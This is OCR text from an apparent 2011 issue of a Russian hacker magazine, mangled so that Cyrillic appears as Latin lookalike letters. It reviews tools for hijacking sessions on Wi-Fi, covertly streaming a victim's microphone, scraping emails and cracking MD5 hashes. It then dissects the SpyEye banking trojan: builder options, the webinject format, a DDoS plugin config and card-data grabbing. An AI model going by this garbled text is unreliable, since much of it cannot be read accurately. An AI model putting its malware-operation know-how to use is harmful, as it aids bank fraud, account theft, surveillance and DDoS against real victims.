MobunbHoro gpayaa.
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FACENIFF: YT OH YYXKMX CECCUIA CO CMAPT®OHA

FaceNiff—aToewie bonee 6esbaleHHoe pa3BnuTue
naenapnoHaFiresheep, aBTop KoToporoBnepBble
cpenanyroH yyxxux HTTP-ceccnit gocTynHbIM
ANnanobbixxenawwmx. YCTaHOBUB paclumpeHme
Firesheep B cBoii Firefox, MoxxHo BoobLe Huyero
He fenas nepexsaTuTb ceccun Facebook, Twitter,
Flickrn Amazon.com Tex nosib3oBaTtesei, KoTopble
paboTanuBTOM e 6ecnpoBOAHON CETU M HE UCNONb-
30BannbesonacHble crnocobbl ayTeHTUGUKALMN.
TaknumobpasoM nccnefoBaTeNb X0TEN NPUBTIEYD
BHWMaHWe K 3TON Npobaeme He TONIbKO cneunany-
ctoBno Wb, Ho M Wwnpokux Macc.

CospaTtens FaceNiff nowen ewe ganbwe n
peanusosannpeto Firesheep B Buse MobunbHoro
npunoxenus! la-na, ckayas apk-nakeTcnpo-
rpammoit (faceniff.ponury.net), MOXHO NpakTUYECKM

Ha ntoboM Android-cmMapTdoHe 3anycTUTb 3TOT
XeK-UHCTPYMEHT M nepexBaTblBaTh akkayHTbl CaMblX
pa3Hbix cepeucos: FaceBook, Twitter, BKoHTakTe
nT.n.—Bcerobonee 10. Bce, 4To HYXXHO, —3TO
NOLKJ/IOYUTLCSA K HY)XHON becnpoBofiHOM ceTu n
3anycTUTL NpUIoXKeHne (MOXelb NOCMOTPeTb BU-
neofeMoHcTpauwio: bit.ly/gbzwGh). Mpasgaa, 4Tobbl
CAEPXaTbNOTOK CKPUMKWUAKC, aBTOP OrpaHnyun
MaKCUMaslbHOE YNCII0 CeCCUI TpeMS — flanblie
HY>XXHO 00paTUTLCS K pa3paboTynky 3a cneymnans-
HbIM aKTWBALMOHHbLIM KOLOM.

FaceNiff rpebyet Hannunsa tenedora Ha Android
cpyT-gocTynoMm. Mpv 3TOM OH OTAMYHO Cebsi YyB-
cTBYeTB06bIX, faxe 3awmileHHbIx ceTsx (WEP,
WPA1WPA2). EanHCTBEHHOE NpensTcTBMe —3TO
ncnonb3lyeMmas BceTu TexHonoruns EAP.
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MUKPO®OHHbIN
LUTIMOH MICSPY SE

EcnunTbinoMHUWb, B npoLunioM Beinycke X-Tools
ObinonncaH 3aMeyaTebHbIi MUKPODOHHBbI
wnvoH MicSpy ot Cnewa. Tenepb e npuLLno BpeMs
npefcTaBuTbTebe M3ymMuTenbHyo MogudukaLmnio
LaHHOW NporpaMMbl nof, Ha3saHueM MicSpy SE
(Stream Edition).

OcHoBHas Guya LaHHON YTUNNTBI, KaK ACHO U3
Ha3BaHWs, 3aKJ/II04aETCs BTOM, YTO 3ByK nepefaeT-
csiHabniofaTeso BNoTokoBoM pexumMe. OcHoBHble
M3MEHeHUs N0 CPaBHEeHMIO CNpeablAyLien Bepcueit
WN1oHa:

*  OTCYTCTBME aMUHKMK;

*  3anucb3ByKabosblle He NPoU3BOANTCS B daiinbl;

®  CyLleCTBEHHOYMeHbLLEH pa3Mep: nocie
ynakoeku UPX'oMm pazmep bygeTcoctaBnats

BCero-Haecero 5632 6aiita;

° nepefaya/jaHHbIXBMNCEBAOMNOTOKOBOM
pexuMe yepesceTb;

®  BO3MOXHOCTbMPOCAYLWMBAHWUS MOTOKA
yepe3aWinAmp;

® BO3MOXHOCTbOJHOBPEMEHHOIO
noaknoyeHns 256 nonb3oBaTtenen.

Mcnonb30BaTh LWNWMOH He NPOCTO, @ 04eHb NPO-
CTO: OH 3arpy)XXaeTcs Ha KOMNbIOTep KepTBbI, Noce
4eroMoXKHo HaTpaBANBaTb 1060 NOTOKOBbIN
nneepHaagpec http:/[IP xepTBbil:4545. OcTanoch
TONLKO NPUKPYTUTb HEXUTPYI0 BO3MOXHOCTbL back
connect'a—wTyn3acTaHeT peabHo becLeHHON.

XAKEP 10/153/2011
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EMAIL-TPABBEP XSPRYT

Tenepb NepexofnM K 3aMe4aTeslbHOMY MblSIbHOMY

rpabbepy c nakoHUYHbIM Ha3BaHeM XSpryt. [laHHas
nporanoMoxeTTebe nerko u bsicTpo cnapcuTb Bce
BCTpeyeHHble email-agpecacBbibpaHHOro Tob0M

caliTa, a falblue Thly>Ke CaM BNOJIHE CMOXellb onpe-
LeNnTbCs, 4T0 jeNaTh C NoNYYeHHbIM cncKoM. Ho

MOMHMU, 4TO Mbl BCerpa bbinmm bygem npotus cnamal
[locToMHCTBa M HEAOCTATKM MPOTU:

e  O[HOMOTOYHOCTb;

* 33jjaHMeTalM-ayTa;

® HU3KoenoTpebneHne CUCTEMHbBIX PeCypCcoB;

e OTCYTCTBME 3BPUCTMKM [caliT He ckaHuTCs cam);
e ypnaneHwe fybnvkaTos;

® COXpaHEeHWe NnpONAEHHOro NpU Kpaxe;

e NoApob6HbIe OTYETbI MO HAAEHHBIM MbIIaM 1

NPONAEHHbIM CChITKaM.
PaboTacnporoii BbIrNSANT LOCTaTOYHO TPUBUASIBHO:
1. 3anyckaemexe-daiin.

2. [danbwerpabbepcaMnonpocuTBBECTU BCE, 4TO

HeobXx0AMMO ANA Hayana napcuHra.

Tak>e Tbl BMOJIHE YCMELLIHO CMOXeLLb paboTaTb C
YTUAUTON U MpY NOMOLLM KOHCoNK: grabber.exe -h
winne.com -p 80 -t 3000.3pnecbnapaMeTpbl0bo-
3HavaloT crepywliee:

e h—xocr(6eshttp:/);
e p—rnopT;
e t—TaliM-ayTBMWUKPOCEKYHAAX.

Bce cnapceHHble MbIIbHUKY cOxpaHsioTcs B mail.
txt; CCbISIKW AN MApCUHTa, KOTOPbIe Thl MPUTOTOBU
3apaHee A onpefeneHHoro canTta, kuganslink.txt.
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NETKWM B3/10M XELLEW C MD5
ONLINE SCANNER

AT Vi, gl b FBAY B

Tenepbxe faBai BepHeMcs Ko B3nioMy MD5 nBHK-
MaTeNbHo nocMoTpuM Ha npory MD5 Online Scanner,
co3paHHylo MeMbepoM AHTnyaTa xmadstyle cneuu-
anbHO A5 NPOroHa Xellel No cneynanu3npoBan-
HbIM OHNIAH-CepBUCaM.

MTak, paHHas yTunanTanpeactaBnseTcoboit
ckaHep MD5-xelwel Ha npeAMeT UX HaNNYNs B pa3-
JINYHBIX OHNANH-ba3ax.

OcobeHHoOCTM CKaHepa:
®  MHOronoTo4HoCThb (10250 N0TOKOB);
® BO3MOXHOCTbBbI6Opa popMaTa BXOLHbIX

N BbIXOHbIX AaHHbIX;
® BO3MOXHOCTbBbIOOpPA OHNANH-CePBUCOB

«Ha neTy»;
®  BO3MOXHOCTb CKaHWpoBaHus 13 bydepa

nnu paiina;
®  BO3MOXHOCTb COXPaHeHMUs pe3ynbTaToB

B 6ydep nnu dann;

e ynobHbIi GUI, BO3MOXHOCTL CBOPaYnBaHUS BTPE.

[MporanoffepXuBaeTTakne U3BECTHbIE OHNANH-
cepsuchl, kak: cOllision.net, tmto.org, www.md5this.
com, md5.hashcracking.com, md5online.net,
hashkiller.com v ewe okono 30 gpyrux.

Ocoboe BHWMaHKe cnefyeTobpaTnTh Ha yno6-
Helllye BCTPOEHHbIE MaKPOChI, UCMOJb3YeMble Npu
3KCMOPTE M MMMOPTE CMIUCKOB XELLEN B CKaHEp:
[MD5] —Tekywmii xew;

[DATA]—TBOM KOMMeHTapuu (10rMH, MbITOUT. A4.;
[TEXT]—wucxoaHas cTpoka ang xewa (naposb);
[SERVICE]—aapec cepsuca, paclundpoBaBLLero xeLu.
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MACLUTABHbIWA TPOSIH
SPYEYE NOA XAKEPCKUM

MUKPOCKOINOM

B xoze npoBeeHns paccnefoBaHns
OAHOI0 M3 MHUMAEHTOB B HALUW PYKK
nonasno pyKoBOACTBO K M3BeCTHeMNLe-
My BpegoHocHomy [10—SpyEye. Y1o
camoe npvMeyaTesibHOe, PyKOBOACTBO
bb1110 KaK Ha aHTIMIICKOM, Tak U Ha pyc-
CKOM A3blKax. Ha npumMepe 3Toro foKy-
MEeHTa Mbl paCCMOTPUM, YTO MpeACcTaB-
nsetun3 ceba SpyEye c Toukm 3peHus
XaKepa, a He BUPYCHOro aHannTuka.

CxeMaMolweHHuyecTBac 160

MOLUEHHUYECTBOB 160

——— [okynkaBpepoHocHoro 10

078

—— LUndpoBaHmne ucnonHsieMbix paiinos

—— OTnpaBKa niaTeXHbIX Nopy4yeHUn

BaToiicTaTbe pac-
cMaTpuBaetcs SpyEye
Bepcunv1.3.2507
14.03.2011.

Hanawempauncketebs
XKAeTnonHas Bepcus
CTaTbW, COAEpPXKa-
Las onMcaHue Bcex
Knioyeil, NNarmHoB u
NPOYUXTOHKOCTEH,
KOTOpble He BblAep-
XuBaeTbyMaxHas
Bepcus XypHana.

—— ApeHpacepBepoB 4 ynpaBsieHns 60THeTOM

— [okynkaTpadukaBonpegeneHHbix pernoHax PO

L BblBOAMJIeranu3aLus feHeXHbIX CpeAcTB

Cepreit Hukutux

X

ocfiefiHee BPEMSI MOXKHO CMEJI0 CYMTaTh IM0XOoi
m 60THeTOB: BUPYCbl CTPEMSATCS K LLleHTpanu3aLmnm

aBToMaTu3auuu. KpynHeiwme boTHeTbI UCMONb3YHOTCS
19 DDoS’a, pacchiikv cnaMa, COBEpLUEHNS MOLIEHHUYECTB C
naaTexHbIMU cucTeMamu. SpyEye oTAMYHO NOAXOANT Ha posib
6aHKOBCKOro TPOSIHA, HaL,eIEHHOT0 Ha COBEPLUEHUE MOLLEHHUYe-
CTBa CMOMOLLbIO CUCTEM [UCTAHLMOHHOI0 6aHKOBCKOro 0bciy-
XnBaHus. SpyEye pacnpocTpaHseTcs B BUAE rOTOBOr0 NPoAyKTa,
aKaKeroucnosb3oBaTb— peLlnT caM noKynaTenb.

CXEMAMOLLUEHHNYECTBA
MepBbIM 4e10M 3710y MblLNEeHHUK NoKynaeT SpyEye (aymato,
L1905 He CEKPET, YTO KOAST TPOSIHbI OfHU N0 AN, @ UCMONb3Y-
loT—coBceMpyrvie). BkoMnnekTe naeT cepBepHas uKIneHT-
ckasiyacTu, BToMyucne bunpep 6otos. Kontponnep botHeTa
pa3Melyaetcs B CeTy, 3N10yMbllUNEHHWK NOKyNaeTTpadnk ans
3apa)keHns KOMMbloTepoB. 3a4acTyio B3/1I0MOM CaiToB M pas-
MeLlLeHNeM IKCMIIoNT-MaKOoB 3aHNMaloTCs ipyrue Nlofn—rTe,
KoTopble NpoAalnT Tpaduk Asis 60THeTOB. CTaTUCTUKA yCrewwHOoro
3apaxeHus cocTaBnseTokono 10 %.Mocne 3apaxeHns KOMMblo-
TepCTaHOBMTCSA 6OTOM M OTCbIIaeT MacCy laHHbIX Ha KOHTpOep
6oTHeTa. PyHKUMOHaN SpyEye BeCcbMa 0bLIMPEH M MOXET A0MON-
HATbCS MNaruHaMu. 310yMblLUEHHVK Yepe3 aAMUHUCTPATUBHY!O
naHesib KOHTPOJIIepa MOXeT coBepLUaTb Maccy AeNCTBUIA C 6OTOM,
BTOM YKCIIe MOAKII0YATLCS Yepe3yaeHHoe ypaBfieHe u npo-
BoAWTb nnatexw yepescuctemy [160. SloruHbi/naponmk cucteme
B0, NMH-KOAbI K TOKEHaM MOXMLLAIOTCS Yepe3 MOAYb CKPbITHOMO
KOMUPOBaHUSA LaHHbIX U3 pa3nnyHbix GopM—dopMrpabbep.
Mocne noxuiieHHble feHeXHbIe CPeicTBa leranusyioTcs.
[naBHbIM MHCTPYyMeHTOMYycTaHOBKYM SpyEye siBnsieTca BupTY-
anbHas onepayunoHHas cuctema GNU/Linux Debian5.0. B aton
0CyxeycTaHoBIeH Beb-cepBep BMeCTe CNaHesblo ynpaBieHns
dopMrpabbepa, a Takke SSh-KAMEHT M MPOYNIA UHCTPYMEHTAPUN.
PacnpocTtpaHseTcs B BUAe BUpTYyanbHoi MalmHbl VirtualBox.
[naBHas naHeNbynpaBeHUs HyXXHa AN yyeTa cTaTUCTUKM Mo
6oTaM, aTakxXe fnsynpasneHns uMun. [ins ee paboTbl Heobxo-
LUMYyCTaHoB/IeHHbIN Beb-cepBep cnoaaepxkoi PHP, aTakxe
MySQL-cepsep. MaHens pazgeneHa Ha cepBepHYIo U KJTIMEHTCKYO
yacTu. Kobeum npunaratotcs uHcTannstopsl. CepsepHasiyacTb
npepcTasnsetcoboi ognH dpaitn—gate.php.
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CEPBEPHAAYACTb

e BackConnectServer (for SOCKS5 & FTP). [pesHasHadeH ansa
paboTbicboTamMmyepesnpoTokonbl SOCKSSnnn FTP, umeetcs
BackConnect-cepsepnog OC GNU/Linux.

e Collector. KonnekTop npeactasnsetcoboi semoH nog 0C
GNU/Linux, npuHUMatoLwuii xypHassl paboTsl 0T 60T0B.
MpoToKon, MCNosb3yioWMACs 4151 OTNPaBKM JI0r0B, 0CHOBaH
Ha TCPunHocuTHa3BaHKe Sausages. BHeMncnonb3yeTcs
wuposaHme n LZ0-komnpeccus. [leMoH npocnywmsaet
onpefeneHHbI NopTHaNpeAMeTI0roB 0T H0TOB M KNaAeTNX B
MySQL. Takumobpa3oM, ansiero paboTel Ha cepBepe LO/KEH
6biTbycTaHoBneH GNU/Linuxu MySQL. Kpome atoro, gnsiero
ycTaHOBKM Heobxoanm SSH-focTyn K cepeepy.

¢ RDPBackConnectServer.CepBepnpeacTtasaseTcoboi
cTaTuyecky cobpaHHbli brHapHbiid dparinnog 0S GNU/Linux.
[leMoH cknagupyeT MHGOPMaLMIO 0 NOAKIIIOYEHHbIX KTIMEeHTaX
B8 MySQL.

KJIIMEHTCKAAYACTb

1.Formgrabber CP (Collector’s GUI). [ln5 noncka nidopma-

Luumn B 6a3e KonnekTopa vMeeTcs UHTepdeiic, HaNMCaHHbIN Ha
a3bike PHP, BBuAe naHenvynpasnexnus popmrpabbepa. MaHenb
ynpaBieHUs 3TOro MoAYyNs He NpeAHa3HayeHa 4na Toro, YTobbl
HaXOAMTbCS Ha cepBepe. 3TO KJIMEHTCKOE NPUITOXKEHME.
2.Builder.[porpamma, co3patoLias Ha 6a3eykasaHHbIX HAaCTPoOeK
KOHeYHbI exe-dainMansapyu. BoTTonbKo 4acTb U3 HUX:

Encryptionkey—xntoy, koTopbiM wndpyetcs config.bin.
KntoynponuceiBaeTcsnsboTa.

Clear cookies everystartup—ecnuBkioyeHo, To 60T npu
Kaxgom3anycke (byabTo3anyck OCunn3zanyck bunga6otano-
cneobHosnexns) bygeTynansats cookies 6paysepos |Eu FF.

Ecnnbpaysep FFyxe 3anyueH, To cookies He yaansatcs, Tak
kak FF oTkpbiBaeTxaHAN Ha paiin ba3bl cookies cookies.sqlite.

Delete non-exportable certificates —B kpunToxpatunuiie
Windows (310 xpaHunuuie nucnonb3yetbpaysep |E) cyuectayert
0cobbIii TMN cepTUdUKaTOB—HeaKcnopTupyeMsle. [onb3osa-
TeJlb MOXeT MX NCM0J1b30BaTh, HO UX HEJIb35 IKCNOPTUPOBATb,
ckaxeM, B *.pfx, notnpaButb B konnekTop. Batomcnyyaes
SpyEye ecTbBO3MOXHOCTbYAANNTL BCE CepTUPNKATLI STOTO TUMA.
BaToM cnyyae nonbaoBaTe o HUYEro 0cobo He ocTaHeTCs, Kak
CHOBa VMMMNOPTMPOBaTL CepTUPUKAT B KpUNTOXpaHunue. Anpu
uMmnopTe 60Tyxe CHUMET Gpnar HeaKCNopTMPYeMoCTH cepTudMKa-
Ta, UTaKol cepTdNKaT MOXKHO ByfeT0TNPaBUTL B KOJIEKTOP.

Dontsendhttp-reports —BHTTP-oT4yeTaxMHoro mycopa. Ta-
KM 0bpa3oM, UMeeT CMbICN 0TNPaBAATb TONbKO HTTPS-0T4eTbl
[Hyu naoc HTTP-oTyeThl ¢ AaHHbIMYU Basic-aTopu3auun).

Compressbuild by UPX—ecnv BknioyeHo, To bungep coxmeTt
6ungbota UPX oM. EcivncnonbayeMblit KpUnTop He CKMMaeT
MCXOLHbIV alin, To3Ta onuns BaxHa.

Make build withoutZLIB support—HecmMoTps Ha ucnosnb-
3oBaHunenpotokonaHTTP 1.0 B FF-uHxekTaxnHaotcyTcTBME
3aronoBkaAccept-Encoding, HekoTopble Be6-cepBepbl MOryT
MpuCbLINaTL CKaTbI KOHTEHT (HanpuMep gzip, deflate). B aTom
cnyyae SpyEye vcnonb3yetbubnuoteky zlib, ytobbl pacnakosatb
KOHTEHT M NPOUHXEKTUTb ero. C3Tol BKOYEHHOM onLmen bun-
nepreHepupyeTbungbotabesnopgepxkuzlib’a. 3o cakoHOMUT
15-16 K8 pa3mepa 6unpaa (ecnvnamepats pasHuLy CxaTtbix
UPX'om6unpos). 0gHaKo B ciiyyae, eCv NPUAET COKaThI KOHTEHT
BFF, 60THe CMOXeT ero MHXeKTUpoBaTh.

Make LITE-config—onuws onpegensert, Hy>XHO 1M BKNtOYaTb
B config.binTakune Bewwm, kak webinjects, screenshots unnarutol
[kpome customconnector.dll). leno 8 ToMm, 4To npu cozgaqum
6unpabotaconfig.bin BCEM1ABwmnBaeTcsa B Teno bota. Bcaoto
oYyepefb, 3TO BAUAET Ha pa3Mep ncnonHsemoro ainabota. Mpu
CMoNb30BaHUM 3TOM onumn boTnocae oTNPaBKM LaHHbIX Ha
KOHTposifiep 60THETa 3arpy3nT KOHGUrypaLMIo U3 HEro COBCEM
HeobxoMMbIM MHCTPyMeHTapyueM. Takoii noaxoano3sonseTt
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3HAYNTENbHO COKPATUTh pa3Mep bunpabota. 4]
EXE name —uma daitnabota B cucteMe nonb3osatens (no-
] Pabotamopyns
CneycTaHoBKK). yAaneHHoro

Mutexname —ums mutex'a, KoTopbIi CNONb3yeTCs A5
naeHTMdUKaLumum 6oTa BcucTeMe.

Anti-Rapport—sT0BcTpoeHHbIN MOAY b, aKTUBHO NMPOTHUBO-
nencTeyloWwnii aHTupyTkuTy Rapport Trusteer. BuacTtHocTy,
SpyEyeybusaetnotoku Rapport'a v 6nokupyeT3anucs 0Tnagoy-
HbIX CO00LLeHNI B ero badyoTyeToB. KpoMe TOro, aToTMOAY b
CNeAmnT3aLenoCTHOCTbI0 XyKoB boTa. TakuM obpasom, ecnny bota
BKJIIO4EH 3TOTMOJYSIb, TO HU @HTUPYTKWUTLI TUNa Rapport’a, Hu
pasnnyHble TposiHbl TNa Zeus'a paboTaTh He byayT. ToTxe RKU,
HanpuMep, He CMOXET CHATb XyKK 60Ta Npu BKJIlOYEHHOM Moyne
Anti-Rapport.

Screenshots. BkaTanore bungepavmeertcananka
screenshots. BHeliMoryTHaxoanTbCA TeKCTOBbIE daiinbl ¢ Npa-
BMaMu cbopa CKpUHLLIOTOB. CKPUHLLOTHI CHUMAIOTCS MPU KJIMKe
MbILL. [PV 3TOM B LIeHTPE CKPUHLIOTA HAaXO[UTCS KYPCOP Mbl LK.
®Daiin npaBun COAEPXKUT CTPOKM, KaXKAas U3 KOTOPbIX JOJKHA
cofiepxaTb NATb NapaMeTpoB, pasfenseMbixnpobenamu. Popmat
cnepyoLmnii:

pabouerocTtona

Z%URL_MASK?% %WIDTH% %HEIGHT% %MINIMUM_CLICKS%
#MINIMUM_SECONDS%

3pnecb URL_MASK—3ToMacka URL. EcnvnpunoxeHue rpy-
3utnoURL pecypc, nonagatoLymnii nof 3Ty Macky, To BKJto4aeTcst
COOTBETCTBYIOLLEE MPABW/I0 OTNPABKMU CKPUHLLIOTOB. CyLiecTyeT
ofHanpobneMa, cBA3aHHas co ckpuHlwoTamu. boty foctaToyHo ]
npobnemMaTnyHoy3HaTb, Ha KaKoii CTpaHuLLe COBepLIAeTCS KK

( 6 6 PabotaFTP
HanpuMmep, BBUAYTOro 410 BOpay3epe MOXKeT OblTb MHOXKECTBO 63KKOHHEKT-
BKﬂa,D,OK]‘ ,D,ﬂﬂ 3TOroCyLlecTBYOT ABa NnapaMeTpa: MUHUMalb- cepsepa

Wt Botme BWA wioTE
e Gwear [ e QEIE, U
@.mﬂ.t [ T A —

R

079



MALWARE

(50 =5 W ==

e R T N

4]

HOE U MaKCHUMasbHOE KOJINYECTBO KNIMKOB — YTobbI TaK Mn
WNHXEKTb! nHaye (onnpasce Ha KONMYECTBO KJMKOB 1 BpeMs, Npolueliee
BAEACTBUM. cMoMeHTa3arpyskn HTTP-pecypca, ykazaHHoro B URL_MASK]

BbIKJ104aTb NPaBUII0 CKPUHLLOTOB.

Client:Builder:webinjects. B kaTanore bungepanpucyT-
cTByeTnankawebinjects. BHelN MOryTHaxoANTbCA TEKCTOBbIE
dannsl c npasunamu nHxexktuposanus HTTP/HTTPS-pecypcos.
DopmaTUHXEKTOBTaKoi Xe, Kak v ans Zeus'a. OgHako nogaep-
XuBatoTca He Bce pnarvmacku set_url. TeM He MeHee NoaAepXu-
BaeMblx GpnaroB BMOJHe [OCTAaTOYHO, 415 TOFO YTODbI FOBOPUTH O
MOJTHOM COBMECTUMOCTU C UHXKeKTaMu Zeus'a. B paiine npasun
cofiepxaTcs b510ku cyeTbipbMa Teramu: set_url, data_before,
data_inject, data_after (Hy nnocTer data_end ele, ykasbiBato-
WM Ha KoHey Tera cnpedukcom data_):

set_url

BaToMTereykasbiBaeTcs Macka, HakoTopoi cpaboTaeT cooT-
BETCTBYIOLLEE NPaBUII0 MHXEeKTUpoBaHUs. Tak ke Kak B Zeus'e,
CMHTAKCMYeCKMN MOALEPKUBAOTCSH TAKME BELLM, KaK «*» N «#».

3TOTTEr MOXET COAepXaTh pasinyHsie Gpiarv (noyMonyaxmo
ucnonb3syetca dnarG):

e G—o03HayaeT, YTO MHXKEKTVPOBaHe byfeT NIPOU3BOAUTLCS
TONIbKO 1N1S1 peCypcoB, KoTopble 3anpalunBatotcs GET-
METOAOM.

e P-—o03HayaeT, YTo MHXeKTUPOBaHwe ByaeT NpoM3BoANTLCS
TONIbKO L1151 PECYPCOB, KOTOpble 3anpalunsatotcs POST-
METOAOM.

e L—npepacTaBnseTcoboii pnargns nepexsata—rpabouH-
racopepxumoroMexay teramu data_before ndata_after
BKJIIOUMTENBHO. [pK 3TOM crpabneHHbI KOHTEHT bypeT
obocobnaTbes copepxumbiMTeradata_inject. (Crpabnen-
HOEe COAEPXKUMOE MOXKHO HATU B NaHe N ynpaBaeHns

OTJINYNA NHXXEKTOB SPYEYE
OT HXXEKTOB ZEUS'A

opsipok criepoBaHus Teros data_before, data_inject, data_after—pna SpyEye’s oH

BaXKeH W LOJKEH ObITb UMEHHO TaKo, a 151 Zeus'a He BaXKeH. Zeus Mo yMoiyaHuio

NHXeKTUpYeT CSS- 1 JS-KoHTeHT. OfjHaKo, 4TObbI MHXEeKTUPOBATb TAKON KOHTEHT B
SpyEye, 06s13aTesIbHO HY)XHO CO3AaTb NpaBKI0 TakiMM obpa3oM, 4Tobbl BTere set_urlcogepxa-
11aCb CTPOKA «.CSS» MBO «.jS» (B 3aBUCUMOCTM OTTUNA KOHTEHTA 718 UHKEKTUHTA).

B SpyEye HekoppekTHo peann3oBaH ¢pnar H—BZeus'e oH Ucnonb3yetca 4as yaaneHus
HTML-kopawn3crpabneHHnorokoHteHta HTTP-pecypca. B SpyEye cneucumson «#» abconoTHo
aHasnornyeH «*» (B Tere set_url). XoTsi B Zeus'e 370 He Tak v CNeLCUMBO «#» UCMOSIb3YETCH KaK
CUHOHWM «HOJTb NI O UH NI060N CUMBOM».

¢dopmrpabbepa, ykazaB kputepuiinoncka Hooked Function:
“"GRABBED DATA".—MpuM. pea.)

* H—awnanornyeH ¢pnaryL 3anckniodeHneMToro, 4ToB Ccrpa-
BneHHoe coepXKMMOe He BKJI04aeTCA COAEPXMMOe TeroB
data_beforendata_after.

data_before, data_inject, data_after
CywiecTByeTTpy CUTYyaLMmn Npu paboTe c3aTUMUTEramMu:

1. EcnuHaipeH koHTeHT no Macke data_before v cogepxumoe
Teradata_afternycto, T0...—60TBCTaBNT COfepXMMOe Tera
data_injectMOCJIE data_before.

2. EcnuHaipeH koHTeHT no Macke data_after n copepxumoe
Teradata_beforenycto, To...—6oTBCTaBUT COfepKMMOe Tera
data_inject 10 data_after.

3. EcnunHanpeHkoHTeHTNoMackaMdata_beforendata_after,
T0...—b0T3aMeHUTKOHTEHT Mexay Teramu data_beforewn
data_after BkntountenbHo Ha cofepxumoe Teradata_inject.

Ha npakTuke bbina obHapyeHa cnepytoLas 0cobeHHoCTb
Be6-cepsepa BOAnpuncnonbzosaHnn HTTP 1.0 (umerHo 3Ty
Bepcuo HTTP SpyEye ncnonb3yeT ans MHXeKTMPOBaHWSA CTPaHWL
B 6paysepe Mozilla Firefox). Ha HekoTopbix pecypcax [*.css, *.js)
Beb-cepBep BO3BpaLLaf CKaTbli KOHTEHT, npu 3ToM B Content-
Encoding He 6bin0yKasaHo, 4To KOHTEHT CXaTbIi. [puBoguno
3TOKTOMY, 4TO Bpay3ep pacno3HaBa KOHTEHT TakuX pecypcos,
kak Invalid Content, uctpanuua oTobpaxanocb HEKOPPEKTHO.
HecmoTps HanopobHble npobnemsl Beb-cepsepa, 3TO MOXHO UC-
npaBuTb cpefcTBaMn SpyEye, npocTo cocTaBnB nycToe NpaBuio
(cnycTeiMuTeramu data_before, data_injectudata_after] gns
MHXXEKTUPOBaHMS CSS- 1 jS-PecypCoB.

Builder:serial.txt. bBungep npussizbiBaeTcs KXenesHom
4aCTV KOMMbIOTEPa, a CePUiiHbIA HOMep BblfaeT pa3paboTynk
BpefioHocHOro 0. A4To Thi XoTeN: NULEH3NOHHas nporpammal

Client:Builder: collectors.txt. Bkatanore 6unaepa fonxeH
HaxoauTbesa dpaiin collectors.txt. B pann MoxHo nponucats cnu-
COK, KaXKAas CTPOKa KoToporo umMeeT ciedytolwmnii popmar (takve
cTpoky pasgensiotcs Enter'amu):

ip:port—>sT10IP, HakoTopoMycTaHoBneH SpyEye Collector
M PORT, koTopblii KoinekTop CAyLiaeT Ha npeaMeT KypHanoB
paboTbl. BMecTo IP MoXHO yKa3aTb joMeHHOe uMs. KonnekTop,
Kak npaBwuJ10, NCMOJb3yeT Kakon-HIBYAb M3BECTHBIN, «pacnpo-
cTpaHeHHbIn» NopT (80 unn 443), 60 B HEKOTOPBIX TOKANbHBIX
CeTAXMapLIpyTM3aTopbl MOryT6/10KMPOBaTL OTCHINKY TPadpuKa
HaHecTaHAapTHbIE NOPThI. B ciyyae HEBO3MOXHOCTM OTNPaABKM
[laHHbIX Yepe3 nepBbIf KoSeKToOp 60T byAeT NbiTaTbCs OTNPaBUTL
LaHHbIe, UCMONb3Ys KONNEKTOPbI, yKa3aHHble HKe (May3a Mexay
nonbiTkamn coctaenset0,1 cekyHabi). EcnvboT noliaet 4o KoHua
CMUCKa N aHHble 0TNPaBUTbTak M He yAanock, TO OH COXPaHUT
0TYeT B CreynanbHOM XpaHuamLe 1 byaeT nbiTaTbCa 0TNPaBNTbL
[aHHble NPy ceflyoLLelt 0TChINIKe JIOT0B.

ATVIHbI 019 KJIMEHTA

[insobecneyeHns HefocTatowWwe B6a3oBON YacTUKIIMEHTA
dyHKLMaHaNbHOCTN CYLLLeCTBYIOT NAarnHbl. OHMTOXe yKa3biBa-
toTca B Ounaepe.

Client:Plugins:webfakes. [1naruH webfakes MoxeTucnonb-
30BaTbhCA ANA NoAMeHbI cofepxumoroHTTP-uHTTPS-pecypcos
6e30bpalleHns kopurnHanbHoMy Beb-cepepy B bpaysepax|En
FF. KoHdurypaumnorHbli aiin nnarvHa coBMecTuM c opMaTom
noJAe/bHbIX CTPaHWLL, MCMOMb3YeMbX Zeus oM, U BbITAS AT
cnepytowmnmobpasom:

entry "WebFakes"

%URL_MASK% %URL_REDIRECT% %FLAGS% %POST_BLACK_MASK%
%POST_WHITE_MASK% %BLOCK_URL% %WEBFAKE_NAME%
%UNBLOCK_URL%

End
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BupkoHTponnepabotHeTa

CnopMeHol B bpay3epe FF cBsizaH oAnH HioaHc. Buay
ocobeHHocTen APl 6nbnuoteku nspré, panHsle POST-3anpoca,
nocTynatouine AN aHann3a B naaruH NogMeHbl, orpaHnyeHsl
LAvHOV B4 K6. ToecTb npu cocTaBneHUy NpaBua NoAMeHbl
ncnonb3yTcs Takne nepeMeHHsle POST-3anpoca, koTopble
BxoAAT B nepBble 4 K6 HTTP-3anpoca (Bkitoyas pasmep HTTP-
wanku).Mnaruu He TpebyeT BKNIOYEHNS CO CTOPOHbI NaHenu
yrnpaBneHus.

DDoS. MnaruH MoxeTbbITb UCNONb30BaH, YTobObI oCyLLe-
ctBuTb DD0S-aTtaky Ha kakoi-Hnbyab cepeep. Kondurypauus
nnarnHaMMeeT cieayoLWwnii BUa:

e typetargetporttime.

e typetargetporttime.

¢ type—tunDDoS'a. MogaepxuBatoTca cregyoLyme:
slowloris/ssyn/udp.

e target—IPnunboxocTtcepBepa, HaKoTOpbIV OCyLLeCTBASETCS
aTaka.

e port—nopr, nogsepraembiit DDoS'y (gns UPD DDoS MoxHO
yka3atb 0, ana ebibopa ciyyaitHoro nopral.

e time—BpeMs, BTe4eHne KoToporo bygeTnpon3soanTs-
c1DDoS (ans UDP/SSYN ncnonb3yloTcs cekyHAbl, ANs
Slowloris—MuHyTbi).

B koHpuMrypaumun nnarvHa MoXHo ykasaTb MHOXeCTBO 3aa-
Huii Ha DDoS (MnarvH nepexoAnT oT 0AHOT0 3a4aHNs K ApYroMy
nocTeneHHo, He MHoronoTto4Ho). lnatuna DDoS'a Slowloris He
HYXHO 3ajaBaTb nopT (Mo yMonyaHuio ucnonbayercs 80-bii).
MnarvH TpebyeT BKOYEHNS CO CTOPOHBI MaHeNN ynpaBaeHNs.

Client: Plugins:ccgrabber. MnarvH 3aHumMaeTcs cbopom
MHpopMaLMmn 0 6aHKOBCKUX KapTax, aHanusnpys POST-3anpocsl
NpUNoXeHWit. lns eTeKTMpoBaHNA HOMepoB baHKOBCKNX KapT
ncnonbayetcs Luhnalgorithm. Ecnv Hawencs BanuaHbii HoMmep
